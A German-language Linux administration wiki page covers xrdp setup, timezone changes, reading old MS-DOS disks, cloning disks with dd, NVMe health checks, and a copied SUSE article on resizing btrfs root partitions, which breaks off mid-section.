# Linux

# Allgemein

# XRDP installieren

### Xrdp installieren

The only package you need is xrdp, which you should enable after installation.

```
sudo apt update
sudo apt install xrdp

sudo systemctl enable xrdp
sudo systemctl restart xrdp

```

# Zeitzone ändern

verfügbare Zeitzonen auflisten

```
timedatectl list-timezones
```

Zeitzone Setzen

```
sudo timedatectl set-timezone Europe/Copenhagen
```

Zeitzone überprüfen

```
timedatectl
```

# Datenspeicher

# Alte Festplatte mit Linux auslesen MS-DOS

### 1. **Überprüfen, ob die Festplatte erkannt wird**

Zunächst musst du sicherstellen, dass die Festplatte vom Linux-System erkannt wird. Du kannst dies mit den folgenden Befehlen überprüfen:

- **`lsblk`**: Listet alle Blockgeräte auf, einschließlich Festplatten und Partitionen
    
    <div class="contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">  
    </div>

```
sudo lsblk

```

**`fdisk -l`**: Zeigt detaillierte Informationen zu allen erkannten Festplatten und deren Partitionen an.

```
sudo fdisk -l

```

**`dmesg`**: Zeigt Systemprotokolle und Meldungen an, auch wenn ein Gerät (wie die Festplatte) angeschlossen wird. Dies kann hilfreich sein, um Fehler oder fehlende Treiber zu erkennen.

```
dmesg | grep -i usb

```

Wenn du die Festplatte nicht siehst, kann es an einem Problem mit der Verbindung (Adapter, Kabel, etc.) oder an einem Fehler mit der Festplatte selbst liegen. Achte darauf, dass der USB-zu-IDE-Adapter korrekt funktioniert und dass die Festplatte ordnungsgemäß angeschlossen ist.

### 2. **Überprüfen der Partitionen auf der Festplatte**

MS-DOS verwendet häufig ein FAT16-Dateisystem oder ältere Versionen von FAT32. Wenn Linux die Festplatte erkennt, aber keine Partitionen anzeigt, könnte es an einem Problem mit der Partitionstabelle liegen. Versuche, mit den folgenden Tools die Partitionen zu identifizieren.

- **`fdisk`**: Auch wenn `lsblk` keine Partitionen anzeigt, kannst du mit `fdisk` auf der Festplatte nach Partitionen suchen.
    
    <div class="contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">  
    </div>

```
sudo fdisk /dev/sdX

```

- Ersetze `/dev/sdX` durch die entsprechende Festplatte (z.B. `/dev/sdb`). Du kannst dann im `fdisk`-Menü mit `p` die Partitionstabelle anzeigen lassen und nachsehen, ob Partitionen vorhanden sind.
- **`partprobe`**: Falls eine Partitionstabelle vorhanden ist, aber nicht erkannt wird, kannst du `partprobe` verwenden, um die Partitionstabelle erneut zu lesen

```
sudo partprobe

```

### 3. **Mounten der Partitionen**

Wenn du die Partitionen siehst, kannst du sie mit `mount` einhängen (mounten). Angenommen, deine Partition ist `/dev/sdb1`:

1. Erstelle ein Verzeichnis, in das du die Partition mounten möchtest:

```
sudo mkdir /mnt/dos

```

Mounten der Partition:

```
sudo mount /dev/sdb1 /mnt/dos

```

Jetzt kannst du auf die Daten auf der Partition zugreifen, indem du in das Verzeichnis `/mnt/dos` navigierst:

```
cd /mnt/dos
ls

```

### 4. **Fehlerbehebung bei Dateisystemen**

Falls du beim Mounten auf ein Problem stößt (z.B. das Dateisystem wird nicht erkannt), könnte es daran liegen, dass die Festplatte mit einem älteren oder unbekannten Dateisystem formatiert wurde. MS-DOS verwendet in der Regel FAT16 oder FAT32.

- Wenn die Partition mit FAT16 oder FAT32 formatiert wurde, sollte Linux diese ohne Probleme erkennen können. Falls das Dateisystem jedoch beschädigt ist, kannst du versuchen, es mit `fsck` zu reparieren:

```
sudo fsck.vfat /dev/sdb1

```

Dies ist der Befehl für die Reparatur von FAT-Dateisystemen. Falls du ein anderes Dateisystem (z.B. NTFS oder EXT) hast, musst du das passende `fsck`-Tool verwenden.

### 5. **Falls die Festplatte nicht erkannt wird:**

- **Überprüfen mit `dmesg`**: Wenn du keine Festplatte siehst, die mit `lsblk` oder `fdisk` erkannt wird, dann verwende `dmesg`, um zu sehen, ob es beim Anschluss der Festplatte zu Fehlern kommt:

```
dmesg | tail -n 20

```

- Dies zeigt die letzten 20 Zeilen der Systemmeldungen. Wenn Fehler bei der Erkennung oder beim Mounten angezeigt werden, könnte dies auf ein Problem mit der Festplatte oder dem USB-zu-IDE-Adapter hinweisen.
- **Festplatte könnte beschädigt sein**: Falls du immer noch keine Partition oder Festplatte sehen kannst, könnte sie beschädigt sein. In diesem Fall kannst du versuchen, mit Tools wie **`testdisk`** zu prüfen, ob du verloren geglaubte Partitionen wiederherstellen kannst.
    
    Installiere `testdisk`:

```
sudo apt-get install testdisk

```

Starte `testdisk`:

```
sudo testdisk

```

- Folge den Anweisungen, um nach Partitionen zu suchen und sie gegebenenfalls wiederherzustellen.

### Zusammenfassung der Schritte:

1. **Überprüfen**, ob die Festplatte erkannt wird (mit `lsblk`, `fdisk`, `dmesg`).
2. **Partitionen anzeigen lassen** (mit `fdisk` oder `partprobe`).
3. **Partitionen mounten** (mit `mount`).
4. Bei Problemen mit dem Dateisystem, **Reparaturversuche** mit `fsck`.
5. **Verwenden von `testdisk`**, um verlorene Partitionen wiederherzustellen, falls nötig.

Falls weiterhin Probleme auftreten, könnte es an der Festplatte, dem Adapter oder einer fehlerhaften Partitionstabelle liegen.

# Festplatte Klonen

Klonen von Festplatten oder USB-Sticks kann so einfach sein.

Herausfinden, unter welcher Bezeichnung die Festplatte/USB-Stick eingebunden sind:

```
lsblk
```

##### Detaillierte ansicht aller Festplatten

```
sudo lshw -class disk -short
```

##### Image eines Speichermediums erstellen

```
sudo dd if=/dev/sda of=/mnt/daten/backup.imb bs=4M status=progress
```

#### Partitionen klonen

##### Achtung!

Es sollte darauf geachtet werden, dass die Ziel-Partition gleich groß oder größer als die Quelle-Partition ist.

Der folgende Befehl klont (kopiert) die komplette Partition **/dev/sda1** auf die Partition **/dev/sdb1**:

```
dd if=/dev/sda1 of=/dev/sdb1 
```

**Weitere Optionen:**

<table border="1" id="bkmrk-conv%3Dnoerror-diese-o" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>conv=noerror</td><td>Diese Option weist dd an, beim Auftreten eines Lese oder Schreibfehlers nicht abzubrechen.   
</td></tr><tr><td>sync  
</td><td>diese OPtion sorgt dafür, dass dd beim Auftreten eines Fehlers "leere" Blöcke anstelle der fehlerhaften Blöcke in die Ausgabedatei schreibt  
</td></tr></tbody></table>

```
sudo dd if=/dev/sda of=/dev/sdb conv=noerror,sync bs=4M status=progress
```

Man soll sich im Klaren sein, dass dabei alle Partitionsattribute dupliziert werden (Größe, UUID, Label). Alle Geräte mit den dazugehörigen Informationen kann man auflisten:

```
sudo blkid 
```

Wenn die Ziel-Partition größer als die Quelle ist, kann man das Zielfilesystem auf die gesamte Partition ausdehnen:

```
sudo resize2fs /dev/sdb1 
```

#### Festplatte aus Image wiederherstellen

```
sudo dd if=/tmp/sda.img of=/dev/sda bs=4M status=progress
```

# Festplatte überprüfen

Um die **Gesundheit einer NVMe-Festplatte unter Linux zu überprüfen**, verwendest du am besten das Terminal-Tool **smartctl** aus dem Paket „smartmontools“. Seit smartctl Version 6.5 werden auch NVMe-SSDs unterstützt\[6\]\[1\].

**Schritte:**

1. **Paket installieren:**  
    `bashsudo apt updatesudo apt install smartmontools` (Abhängig von deiner Distribution kann der Befehl abweichen)\[3\]\[2\].
2. **NVMe-Gerät identifizieren:**  
    Liste alle Datenträger auf, meist heißt das NVMe-Laufwerk `/dev/nvme0n1`: `bashlsblk | grep -v ^loop` Suche in der Ausgabe nach deinem NVMe-Laufwerk\[3\].
3. **SMART-Informationen abrufen:**  
    Für eine schnelle Übersicht des Gesundheitszustandes: `bashsudo smartctl -a /dev/nvme0n1` (Passe den Gerätenamen ggf. an)\[1\]\[3\]\[6\].
    
    Für einen Kurztest: `bashsudo smartctl -H /dev/nvme0n1` Bei `PASSED` ist der aktuelle Status unauffällig. Erscheint `FAILED`, ist die SSD kritisch gefährdet\[1\].
    
    Für detaillierte Informationen, wie Temperatur, gelesene/geschriebene Daten, Medienfehler oder zusätzliche Warnungen: `bashsudo smartctl --all /dev/nvme0n1` Diese Werte geben dir Hinweise auf Alterung oder drohende Probleme\[3\].

**Hinweis:**  
\- Die Werte findest du in der Tabelle in der smartctl-Ausgabe. Sie enthalten u.a. „Percentage Used“, „Data Units Written“, „Media and Data Integrity Errors“ usw. - Für detaillierte Auswertung lies die einzelnen Attribute und ihren Status\[1\]\[3\]\[6\].

**Alternative:**  
\- Zusätzlich zur smartctl-Methode gibt es für NVMe-Laufwerke auch das Tool `nvme-cli`, das ebenfalls Diagnosedaten auslesen kann\[8\].  
Beispiel: `bash   sudo nvme smart-log /dev/nvme0n1  ` Dieses gibt die wichtigsten Gesundheits-Indikatoren speziell für NVMe zurück.

**Fazit:**  
Der Standardweg ist die Nutzung von **smartctl** und/oder **nvme-cli** mit dem richtigen Gerätenamen. Die wichtigsten Ergebnisse sind der „Overall-health self-assessment“-Test („PASSED“/„FAILED“) und die Detailwerte aus der umfangreichen Ausgabe\[1\]\[3\]\[6\]\[8\].

# Festplatte vergrößern

<div id="bkmrk-"></div><main class="" id="bkmrk-how-to-resize%2Fextend" role="main">### How to resize/extend a btrfs formatted root partition

### Environment

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content">SUSE Linux Enterprise Server 11 Service Pack 4 (SLES 11 SP4)  
SUSE Linux Enterprise Server 12 (all Service Packs)  
</div></div></div></div></div></div></div></div></div>### Situation

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content">The general procedure to resize a btrfs formatted file system can be found in the SLE 12 Storage Admin Guide. There are however additional points that have to be taken into consideration before executing the resize operation. 1. Is the original disk going to be expanded?
2. Is it possible to add a new disk to expand the existing btrfs file system?

  
The following article will cover a situation with one disk and two partitions to show the steps necessary for both scenarios using both offline as well as online resize operation.  
  
Please keep in mind that a more sophisticated partitioning scheme (partitions behind the root volume or an extended partition layout) may cause problems. In these cases adding a new disk to expand the existing file system is the preferred solution.  
  
Please check the system setup carefully before carrying out any actions.  
  
**Because the procedures covered in this article contain a fair risk of losing the operating system while performing changes to the partition table, the administrator of the machine is required to create a backup before the operation!  
  
This guide does not claim to be complete or cover all possible scenarios. In case of questions please open a service request to discuss these with SUSE Technical Services before any action is taken.**</div></div></div></div></div></div></div></div></div>### Resolution

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><u>**Situation:**</u>  
  
The disk space of a virtual system with 20GB hard disk should be increased to 40GB.  
  
<u>**Preparation:**</u>1. Since the following procedure requires changes to the partition table, a loss of data is possible. Please ensure to create a backup of the system before performing any action!
2. Ensure your restore procedure works correctly!
3. Check carefully if a <span style="font-family: Courier New,Courier,monospace;">MSDOS</span> or <span style="font-family: Courier New,Courier,monospace;">GPT</span> partition table was created. This information can easily be obtained from the <span style="font-family: Courier New,Courier,monospace;">parted -l </span>/ <span style="font-family: Courier New,Courier,monospace;">fdisk -l</span> output easily.

<div style="margin-left: 40px;">**Note**: Only parted is able to edit <span style="font-family: Courier New,Courier,monospace;">GPT</span> partition table. If a <span style="font-family: Courier New,Courier,monospace;">GPT</span> partition table is used, an online resize is not possible as parted uses the <span style="font-family: Courier New,Courier,monospace;">BLKRRPART</span> ioctl which prevents changes while the partition is mounted.</div>  
This article is going to cover the following three approaches to accomplish the resize of a virtual disk in a VMware based environment: 1. [Expanding the file system by adding a new disk](https://www.suse.com/support/kb/doc/?id=000018798#Expanding-the-file-system-by-adding-a-new-disk)
2. [Resizing the disk using parted](https://www.suse.com/support/kb/doc/?id=000018798#Resizing-using-parted)
3. [Resizing the disk online using fdisk](https://www.suse.com/support/kb/doc/?id=000018798#with-fdisk)

  
  
<u>**<a id="bkmrk--0" name="Expanding-the-file-system-by-adding-a-new-disk"></a>Expanding the file system by adding a new disk** </u>  
  
A convenient and quick solution to add disk space to an existing btrfs file system is by adding a new disk.  
The procedure consists of four steps and the system does not need to be rebooted: 1. add a new disk
2. rescan the SCSI bus using

<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
rescan-scsi-bus.sh -a
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>3. Add the newly added device to the root btrfs filesystem

<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
btrfs device add /dev/sdX /
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>4. At this point the metadata is only stored on the first disk, to distribute (balance) it across the devices run:

<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
btrfs filesystem balance /
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>  
  
<a id="bkmrk--1" name="Resizing-using-parted"></a><u>**Resizing the disk using parted**</u>  
 </div></div></div></div></div></div></div></div></div></div>```
server1:~ # parted -l
Model: VMware Virtual disk (scsi)
Disk /dev/sda: 21.5GB
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:

Number  Start   End     Size    Type     File system     Flags
 1      1049kB  4302MB  4301MB  primary  linux-swap(v1)  type=82
 2      4302MB  21.5GB  17.2GB  primary  btrfs           boot, type=83
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content">  
As a first step, the virtual disk needs to be increased on the hypervisor side. Please refer to the vendor documentation for this particular task. The <span style="font-family: Courier New,Courier,monospace;">parted -l</span> output above also provides the information whether a <span style="font-family: Courier New,Courier,monospace;">MSDOS</span> or <span style="font-family: Courier New,Courier,monospace;">GPT</span> partition label was used. <span style="font-family: Courier New,Courier,monospace;">fdisk -l</span> (an example is provided in the section [<u>**Resizing the partition online using fdisk**</u>](https://www.suse.com/support/kb/doc/?id=000018798#with-fdisk) ) will show this information.  
  
Once this has been accomplished, rescan the local disk:  
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
server1:~ # echo 1 > /sys/block/sda/device/rescan
server1:~ # parted -l
Model: VMware Virtual disk (scsi)
Disk /dev/sda: 42.9GB
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:

    Number  Start   End     Size    Type     File system     Flags
    1      1049kB  4302MB  4301MB  primary  linux-swap(v1)  type=82
    2      4302MB  21.5GB  17.2GB  primary  btrfs           boot, type=83
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>The OS now sees the new size of the disk but the partitioning layout needs to be changed to add the remaining 20GB to <span style="font-family: Courier New,Courier,monospace;">/dev/sda2</span>.  
Trying to resize <span style="font-family: Courier New,Courier,monospace;">/dev/sda </span>using parted will fail with:  
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
server1:~ # parted /dev/sda
GNU Parted 3.1
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) resize
Partition number? 2
Error: Partition /dev/sda2 is being used. You must unmount it before you modify it with Parted.
 (parted)
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>Trying to accomplish the same task in <span style="font-family: Courier New,Courier,monospace;">yast2 disk</span> fails with:  
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
Warning
The file system is currently mounted on /.

You can try to unmount it now, continue without unmounting or cancel.
Click Cancel unless you know exactly what you are doing.
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>Hence this task needs to be accomplished in the rescue system. Please boot from the Service Pack DVD matching the installed SLES version and select "Rescue System" from the main menu. As of SLE 12 SP2, the Rescue System option is located in the "More ..." menu.  
Once the rescue system has started, the disk resize operation may be performed as follows:  
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
0:rescue:~ # parted /dev/sda
GNU Parted 3.1
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) resize
Partition number? 2
End?  [21.5GB]? 42.5GB
(parted) quit
Information: You may need to update /etc/fstab.
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>  
Running <span style="font-family: Courier New,Courier,monospace;">parted -l </span>will show the new end of the partition:  
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
0:rescue:~ # parted -l
Model: VMware Virtual disk (scsi)
Disk /dev/sda: 42.9GB
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:

    Number  Start   End     Size    Type     File system     Flags
    1      1049kB  4302MB  4301MB  primary  linux-swap(v1)  type=82
    2      4302MB  42.5GB  38.2GB  primary  btrfs           boot, type=83
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>The last steps are to mount the partition and resize the btrfs file system (example below). (If the btrfs file system resides on multiple devices, see the Additional Information section of this document, as well.) <div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
0:rescue:~ # mount /dev/sda2 /mnt
0:rescue:~ # btrfs filesystem resize max /mnt
Resize '/mnt' of 'max'

0:rescue:~ # df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/loop0       29M   29M     0 100% /parts/mp_0000
/dev/loop1       14M   14M     0 100% /parts/mp_0001
devtmpfs        468M     0  468M   0% /dev
/dev/loop2       42M   42M     0 100% /mounts/mp_0000
/dev/loop3       34M   34M     0 100% /mounts/mp_0001
/dev/loop4      4.2M  4.2M     0 100% /mounts/mp_0002
tmpfs           497M     0  497M   0% /dev/shm
tmpfs           497M  7.2M  490M   2% /run
tmpfs           497M     0  497M   0% /sys/fs/cgroup
tmpfs           497M     0  497M   0% /tmp
tmpfs           100M     0  100M   0% /run/user/0
/dev/sda2        36G  753M   33G   3% /mnt
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>Reboot the system back into operation.  
  
<a id="bkmrk--2" name="with-fdisk"></a><u>**Resizing the partition online using fdisk**</u>  
  
<span style="font-family: Courier New,Courier,monospace;">fdisk</span> does not support resizing a partition. In this case the existing root partition needs to be deleted and recreated using the same start block but selecting the new end block to assign all available disk space to the partition.  
As already mentioned before, <span style="font-family: Courier New,Courier,monospace;">fdisk</span> cannot deal with <span style="font-family: Courier New,Courier,monospace;">GPT</span> partition tables. Please check carefully which label was chosen and select the right tool for the resize operation.  
  
When recreating the partition please make sure to set the bootable flag again, otherwise the system will not boot.  
The procedure using <span style="font-family: Courier New,Courier,monospace;">fdisk</span> is as follows:  
  
Print the current partition table, save it, expand the disk, have the kernel rescan the device and make sure it sees the new size:  
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
server1:~ # fdisk -l
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x0004a8ed

Device     Boot   Start      End  Sectors Size Id Type
/dev/sda1          2048  8402943  8400896   4G 82 Linux swap / Solaris
/dev/sda2  *    8402944 41943039 33540096  16G 83 Linux
btrfs:~ # echo 1 > /sys/block/sda/device/rescan
btrfs:~ # fdisk -l
Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x0004a8ed

Device     Boot   Start      End  Sectors Size Id Type
/dev/sda1          2048  8402943  8400896   4G 82 Linux swap / Solaris
/dev/sda2  *    8402944 41943039 33540096  16G 83 Linux
server1:~ #
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>  
**Keep in mind, operations in fdisk are temporary until a write operation is issued. So at any point it is safe to exit fdisk using CTRL+c.**  
  
As a next step open fdisk and delete the root partition. <div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
server1:~ # fdisk /dev/sda

Welcome to fdisk (util-linux 2.28).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Command (m for help): d
Partition number (1,2, default 2): 2

Partition 2 has been deleted.
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>Now recreate partition #2 as a primary partition with partition ID 83 (Linux partition)  
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
Command (m for help): n
Partition type
   p   primary (1 primary, 0 extended, 3 free)
   e   extended (container for logical partitions)
Select (default p): p
Partition number (2-4, default 2):
First sector (8402944-83886079, default 8402944):
Last sector, +sectors or +size{K,M,G,T,P} (8402944-83886079, default 83886079):

Created a new partition 2 of type 'Linux' and of size 36 GiB.

Command (m for help): t
Partition number (1,2, default 2): 2
Partition type (type L to list all types): 83

Changed type of partition 'Linux' to 'Linux'.
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>As shown above, <span style="font-family: Courier New,Courier,monospace;">fdisk</span> picked up the correct start and end block by itself. The next step is to enable the boot-flag:  
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
Command (m for help): a
Partition number (1,2, default 2): 2
The bootable flag on partition 2 is enabled now.
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>After the changes above, the new partition table will be as follows:  
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
Command (m for help): p
Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x0004a8ed

Device     Boot   Start      End  Sectors Size Id Type
/dev/sda1          2048  8402943  8400896   4G 82 Linux swap / Solaris
/dev/sda2  *    8402944 83886079 75483136  36G 83 Linux
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>  
Now, while writing the changes to disk, the following messages will be shown: <div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table.
Re-reading the partition table failed.: Device or resource busy

The kernel still uses the old table. The new table will be used at the next reboot or after you run partprobe(8) or kpartx(8).

server1:~ # partprobe
Error: Partition(s) 2 on /dev/sda have been written, but we have been unable to inform the kernel of the change, probably because it/they are in use.  As a result, the old partition(s) will remain in use.  You should reboot now before making further changes.
Error: Can't have a partition outside the disk!
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>SLES 11 SP4 based systems need to be rebooted at this point as the kernel does not support re-reading the partition table using <span style="font-family: Courier New,Courier,monospace;">BLKPG\_DEL\_PARTITION</span> and <span style="font-family: Courier New,Courier,monospace;">BLKPG\_RESIZE\_PARTITION</span> ioctls.  
Once the system is back online please run:   
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
btrfs filesystem resize max /
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>to expand the file system. (If the btrfs file system resides on multiple devices, see the Additional Information section of this document, as well.)  
  
SLE 12 based systems support the ioctls mentioned previously, this way it is possible to notify the kernel about the changed partition table as the system is online.  
  
Old partition table: <div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
server1:~ # fdisk -l /dev/sda
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x000dd878

Device     Boot   Start      End  Sectors Size Id Type
/dev/sda1          2048  8402943  8400896   4G 82 Linux swap / Solaris
/dev/sda2  *    8402944 41943039 33540096  16G 83 Linux
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>  
Execute the actions as displayed above to remove and recreate the partition table, write the changes and receive the busy message from the kernel: <div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
server1:~ # fdisk -l
Disk /dev/sda: 50 GiB, 53687091200 bytes, 104857600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x000dd878

Device     Boot   Start       End  Sectors Size Id Type
/dev/sda1          2048   8402943  8400896   4G 82 Linux swap / Solaris
/dev/sda2  *    8402944 104857599 96454656  46G 83 Linux
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>So <span style="font-family: Courier New,Courier,monospace;">/dev/sda2</span> was resized from 20GB to 50GB, check the kernel's view on the partitions:  
<div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
server1:~ # cat /proc/partitions
major minor  #blocks  name

   2        0          4 fd0
   8        0   52428800 sda
   8        1    4200448 sda1
   8        2   <strong>16770048</strong> sda2
  11        0    1048575 sr0
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>now update the kernel's view of <span style="font-family: Courier New,Courier,monospace;">/dev/sda2</span> using: <div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
partx -u -n 2 /dev/sda
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
 </div>and check the partitions again: <div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
server1:~ # cat /proc/partitions
major minor  #blocks  name

   2        0          4 fd0
   8        0   52428800 sda
   8        1    4200448 sda1
   8        2   <strong>48227328</strong> sda2
  11        0    1048575 sr0
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>  
Now resize the filesystem. (If the btrfs file system resides on multiple devices, see the Additional Information section of this document, as well.) <div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
btrfs filesystem resize max /
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>Running: <div style="margin-left: 40px;">  
</div></div></div></div></div></div></div></div></div></div></div>```
btrfs filesystem usage /
```

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><div style="margin-left: 40px;">  
</div>will now show the new size of the filesystem.  
  
Using <span style="font-family: Courier New,Courier,monospace;">partx</span> it would also be possible to delete any partitions that are not needed behind the root volume, expand the root volume, delete the kernel view on that partition (<span style="font-family: Courier New,Courier,monospace;">partx -d -n X /dev/sda</span>), update the root partition (<span style="font-family: Courier New,Courier,monospace;">partx -u -n X /dev/sda</span>) and then resize the filesystem.</div></div></div></div></div></div></div></div></div>### Additional Information

<div class="container-fluid support-document"><div class="container-fluid support-document"><div class="container-fluid support-document"><div class="row"><div class="standard-pad white-bg"><div><div><div><div class="col_one"><div class="content"><u>**Considerations when adding new devices into a btrfs file system**</u>  
  
